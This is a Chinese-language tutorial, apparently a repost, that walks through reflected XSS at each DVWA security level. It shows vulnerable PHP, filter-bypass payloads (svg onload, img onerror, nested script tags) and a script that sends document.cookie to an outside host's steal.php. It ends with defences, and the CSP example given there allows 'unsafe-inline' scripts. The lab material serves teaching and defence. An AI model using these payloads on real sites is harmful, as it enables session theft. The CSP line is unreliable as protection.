当前位置: 首页 > news >正文

【web安全】DVWA反射型XSS漏洞分析与利用

目录

一、环境搭建与漏洞原理

1.1 反射型XSS原理

二、Low安全级别漏洞分析

2.1 漏洞代码分析

2.2 利用方式

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

3.2 High级别防护分析

3.3 各级别防护对比

四、Impossible级别与防御方案

4.1 Impossible级别实现

4.2 企业级防御方案

一、环境搭建与漏洞原理

1.1 反射型XSS原理

反射型XSS(Reflected XSS)特点:

  • 恶意脚本通过URL参数注入

  • 服务端未过滤直接嵌入到响应中

  • 需要诱导用户点击特定链接触发

  • 攻击效果是一次性的

漏洞产生流程:

攻击者构造URL → 用户点击 → 服务器返回含恶意脚本的页面 → 浏览器执行脚本

二、Low安全级别漏洞分析

2.1 漏洞代码分析

<?php
header("X-XSS-Protection: 0");
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL){echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>

漏洞点:直接输出用户输入,无任何过滤

2.2 利用方式

基础Payload:

http://192.168.21.4/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

高级利用(窃取Cookie):

<script>
new Image().src="http://192.168.21.1/steal.php?cookie="+encodeURIComponent(document.cookie);
</script>

192.168.21.1服务器上收到cookie的值

图2.1 成功执行任意JavaScript代码

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
?>

发现进行了<script>过滤

绕过方法

  1. 大小写混淆:<ScRiPt>alert(1)</ScRiPt>

  2. 嵌套标签:<scr<script>ipt>alert(1)</script>

  3. 使用非script标签:<img src=x onerror=alert(1)>

3.2 High级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
?>
 

防护原理:使用正则表达式匹配并删除<script>标签及其变体

  • <(.*):匹配<后跟任意字符(包括无字符)

  • s(.)c(.)...:强制按顺序匹配s、c、r、i、p、t字母

  • /i:不区分大小写

绕过方法

  1. SVG标签:<svg/onload=alert(1)>

  2. 事件属性:<body onpageshow=alert(1)>

  3. 伪协议:<a href="javascript:alert(1)">click</a>

3.3 各级别防护对比

安全级别防护措施有效Payload示例
Low无过滤<script>alert(1)</script>
Medium移除<script>字符串<img src=x onerror=alert(1)>
High正则过滤script标签<svg/onload=alert(document.domain)>
Impossiblehtmlspecialchars转义无有效绕过方式

四、Impossible级别与防御方案

4.1 Impossible级别实现

<?php
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$name = htmlspecialchars( $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

htmlspecialchars防护原理

  • 将特殊字符转换为HTML实体

  • 例如:<&lt;"&quot;

4.2 企业级防御方案

  1. 输入验证(白名单原则):

    if(!preg_match('/^[a-zA-Z0-9]+$/', $input)){die("Invalid input");
    }

  2. 输出编码

    // HTML上下文
    htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
    ​
    // JavaScript上下文
    json_encode($str, JSON_HEX_TAG);

  3. 内容安全策略(CSP)

    Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

    内容安全策略(CSP)详解:Web安全的关键防线-CSDN博客

  4. 现代前端框架防护

    • React/Vue/Angular默认自动转义

http://www.dtcms.com/a/284155.html

相关文章:

  • web安全入门 | 记新手小白初次尝试挖越权漏洞
  • Java行为型模式---命令模式
  • AR智能巡检:制造业零缺陷安装的“数字监工”
  • 深入理解Java中的Collections.max()方法
  • Adobe Photoshop:数字图像处理的终极工具指南
  • 编译原理第六到七章(知识点学习/期末复习/笔试/面试)
  • 关于pytorch虚拟环境及具体bug问题修改
  • 摩尔投票法:高效寻找数组中的多数元素
  • Rabbitmq Direct Exchange(直连交换机)可以保证消费不被重复消费吗,可以多个消费者,但是需要保证同一个消息,不会被投递给多个消费者
  • 力扣.1312让字符串成为回文串的最少插入次数力扣.105从前序和中序遍历构造二叉树牛客.拼三角力扣.57插入区间​编辑
  • Vue3入门-计算属性+监听器
  • 分解质因数算法:从基础实现到高级应用
  • 【中等】题解力扣16:最接近的三数之和
  • 区块链共识机制:技术演进与行业突破
  • 【后端】.NET Core API框架搭建(8) --配置使用RabbitMQ
  • 算法训练营day23 39. 组合总和、 40.组合总和II 、131.分割回文串
  • 单发测量突破能域限制!Nature发布X射线拉曼超分辨新范式
  • Linux内存系统简介
  • 解决Python爬虫访问HTTPS资源时Cookie超时问题
  • Py-Clipboard :iOS与Windows互相共享剪贴板(半自动)
  • QT配置Quazip外部库
  • C++性能优化
  • 2021市赛复赛 初中组
  • 保持视频二维码不变,如何更新视频内容,节省物料印刷成本
  • 氧化锌避雷器具备的功能
  • Redis原理之主从复制
  • Visual Studio 的常用快捷键
  • 7.17 Java基础 | 集合框架(下)
  • 数据结构 栈(2)--栈的实现
  • NO.7数据结构树|线索二叉树|树森林二叉树转化|树森林遍历|并查集|二叉排序树|平衡二叉树|哈夫曼树|哈夫曼编码